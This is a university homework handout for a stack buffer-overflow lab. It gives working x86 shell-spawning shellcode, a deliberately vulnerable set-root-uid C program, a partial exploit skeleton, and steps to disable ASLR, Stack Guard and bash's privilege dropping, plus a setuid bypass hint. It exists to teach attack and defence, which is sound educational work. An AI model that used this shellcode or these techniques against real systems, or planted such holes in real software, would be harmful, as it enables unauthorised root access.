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Homework 2: Buffer Overflow Vulnerability Attack and Defense Lab

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CSCE 465 Computer and Network Security 1
Homework 2:
Buffer Overflow Vulnerability Attack and Defense Lab
1 Lab Overview
The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is
defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated
fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the
program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage
for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can
affect the control flow of the program, because an overflow can change the return address.
In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop
a scheme to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students
will be guided to walk through several protection schemes that have been implemented in Linux to counter
against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain
why.
2 Lab Tasks
2.1 Initial setup
In this lab, you need to use VMware player and a Linux virtual machine image (e.g., Ubuntu Linux) as
you used in the previous homework.
You can execute the lab tasks using the Ubuntu system we have provided (although the lab should work
for many Linux distributions, we recommend you to use Ubuntu as we have tested the lab on it). Ubuntu
and several other Linux-based systems uses address space randomization to randomize the starting address
of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical
steps of buffer-overflow attacks. In this lab, you can disable these features using the following commands:
$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs,
many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool”
a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the
shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic
link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell
program (the zsh), instead of /bin/bash. The preconfigured Ubuntu virtual machines already contains
a zsh installation.
The following instructions describe how to link the zsh program to /bin/sh.
# cd /bin
# rm sh
# ln -s /bin/zsh /bin/sh
CSCE 465 Computer and Network Security 2
Furthermore, the GCC compiler implements a security mechanism called ”Stack Guard” to prevent
buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are comiling the program using the switch -fno-stack-protector. For example, to compile
a program example.c with Stack Guard disabled, you may use the following command:
gcc -fno-stack-protector example.c
Possible X-Server Errors Some task in this lab needs to change /bin/sh, making it pointing to /bin/zsh
(originally, it points to /bin/bash). If you forget to change it back to bash, you may encounter an X server
error during the system bootup. When this error happens, your X server cannot start, and you can only log
into system in the text mode. To recover from this problem, follow these steps:
1. Login as root in the command prompt. When the X server error happens, the system will let you log
into the root (you need to know the root password) in the text mode.
2. Execute the following commands (# is the prompt for root user, do not enter the #).
# mount -o remount /
# cd /bin
# rm sh
# ln -s bash sh
Our goal is to change /bin/sh and let it point back to /bin/bash. However, if we login as a root
at that time, we only have a read-only file system. We need to remount the whole file system to be able to
write.
3. Reboot the system. The X Server error should go away.
2.2 Shellcode
Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be
loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following
program:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is just the assembly version of the above program. The following program
shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the
following code, and see whether a shell is invoked.
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
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#include <stdio.h>
const char code[] =
“\x31\xc0” /* Line 1: xorl %eax,%eax */
“\x50” /* Line 2: pushl %eax */
“\x68″”//sh” /* Line 3: pushl $0x68732f2f */
“\x68″”/bin” /* Line 4: pushl $0x6e69622f */
“\x89\xe3” /* Line 5: movl %esp,%ebx */
“\x50” /* Line 6: pushl %eax */
“\x53” /* Line 7: pushl %ebx */
“\x89\xe1” /* Line 8: movl %esp,%ecx */
“\x99” /* Line 9: cdql */
“\xb0\x0b” /* Line 10: movb $0x0b,%al */
“\xcd\x80” /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather
than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the
execve() system call, we need to store name[0] (the address of the string), name (the address of the
array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx;
Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.,
xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call
execve() is called when we set %al to 11, and execute “int $0x80”.
2.3 The Vulnerable Program
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
CSCE 465 Computer and Network Security 4
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen(“badfile”, “r”);
fread(str, sizeof(char), 517, badfile);
bof(str);
printf(“Returned Properly\n”);
return 1;
}
Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in
the root account, and chmod the executable to 4755:
$ su root
Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”,
and then passes this input to another buffer in the function bof(). The original input can have a maximum
length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check
boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can
exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be
noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our
objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents
into its buffer, a root shell can be spawned.
2.4 Task 1: Exploiting the Vulnerability
We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to
construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
“\x31\xc0” /* xorl %eax,%eax */
“\x50” /* pushl %eax */
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“\x68″”//sh” /* pushl $0x68732f2f */
“\x68″”/bin” /* pushl $0x6e69622f */
“\x89\xe3” /* movl %esp,%ebx */
“\x50” /* pushl %eax */
“\x53” /* pushl %ebx */
“\x89\xe1” /* movl %esp,%ecx */
“\x99” /* cdql */
“\xb0\x0b” /* movb $0x0b,%al */
“\xcd\x80” /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file “badfile” */
badfile = fopen(“./badfile”, “w”);
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
After you finish the above program, compile and run it. This will generate the contents for “badfile”.
Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to
get a root shell:
Important: Please compile your vulnerable program first. Please note that the program exploit.c, which
generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we
are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is
compiled with the default Stack Guard protection disabled.
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <—- Bingo! You’ve got a root shell!
It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the
effective user id is now root). You can check this by typing the following:
# id
uid=(500) euid=0(root)
CSCE 465 Computer and Network Security 6
Many commands will behave differently if they are executed as Set-UID root processes, instead of
just as root processes, because they recognize that the real user id is not root. To solve this problem,
you can run the following program to turn the real user id to root. This way, you will have a real root
process, which is more powerful.
void main()
{
setuid(0); system(“/bin/sh”);
}
2.5 Task 2: Protection in /bin/bash
Now, we let /bin/sh point back to /bin/bash, and run the same attack developed in the previous task.
Can you get a shell? Is the shell the root shell? What has happened? You should describe your observation
and explaination in your lab report.
$ su root
Password: (enter root password)
# cd /bin
# rm sh
# ln -s bash sh // link /bin/sh to /bin/bash
# exit
$./stack // launch the attack by running the vulnerable program
There are ways to get around this protection scheme. You need to modify the shellcode to achieve
this. We will give 10 bonus points for this attack. Hint: although /bin/bash has restriction on running
Set-UID programs, it does allow the real root to run shells. Therefore, if you can turn the current Set-UID
process into a real root process, before invoking /bin/bash, you can bypass the restriction of bash.
The setuid() system call can help you achieve that.
2.6 Task 3: Address Randomization
Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can
you get a shell? If not, what is the problem? How does the address randomization make your attacks
difficult? You should describe your observation and explanation in your lab report. You can use the following
instructions to turn on the address randomization:
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
If running the vulnerable code once does not get you the root shell, how about running it for many
times? You can run ./stack in the following loop , and see what will happen. If your exploit program
is designed properly, you should be able to get the root shell after a while. You can modify your exploit
program to increase the probability of success (i.e., reduce the time that you have to wait).
$ sh -c “while [ 1 ]; do ./stack; done;”
CSCE 465 Computer and Network Security 7
2.7 Task 4: Stack Guard
So far, we disabled the “Stack Guard” protection mechanism in GCC when compiling the programs. In this
task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you should compile the
program without the -fno-stack-protector’ option. For this task, you will recompile the vulnerable program,
stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations. You may report any
error messages you observe.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable
Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a
older GCC version, you may not have to disable Stack Guard.
3 Guidelines
We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not
be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have
two problems: (1) we do not know where the return address is stored, and (2) we do not know where the
shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters
a function. The following figure gives an example.
str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
buffer[0] … buffer[11]
variable_a
void func (char *str) {
char buffer[12];
int variable_a;
strcpy (buffer, str);
}
Int main() {
char *str = “I am greater than 12 bytes”;
func (str);
}
Current Frame
Current FP
(a) A code example (b) Active Stack Frame in func()
High Address
Low Address
Finding the address of the memory that stores the return address. From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of of your copy, but you should be quite close.
If the target program is running remotely, and you may not be able to rely on the debugger to find out
the address. However, you can always guess. The following facts make guessing a quite feasible approach:
• Stack usually starts at the same address.
• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.
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• Therefore the range of addresses that we need to guess is actually quite small.
Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],
you should be able to accurately calcuate the starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for remote programs), you can still guess. To improve the chance
of success, we can add a number of NOPs to the beginning of the malcious code; therefore, if we can jump
to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.
buffer [0] …… buffer [11]
Previous FP
Return Address
str
Malicious Code
buffer [0] …… buffer [11]
Previous FP
Return Address
str
Malicious Code
NOP
NOP
NOP
…… (many NOP’s)
(a) Jump to the malicious code (b) Improve the chance Stack’s growing direction
Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4
bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually
occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different
types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,
and then assign the integer. The following code shows how to assign an long integer to a buffer starting at
buffer[i]:
char buffer[20];
long addr = 0xFFEEDD88;
long *ptr = (long *) (buffer + i);
*ptr = addr;
References
[1] Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49. Available at
http://courses.cse.tamu.edu/guofei/csce465/stack_smashing.pdf
[2] Smashing the Stack for Fun & Profit : Revived. Available at https://avicoder.me/2016/02/
01/smashsatck-revived/

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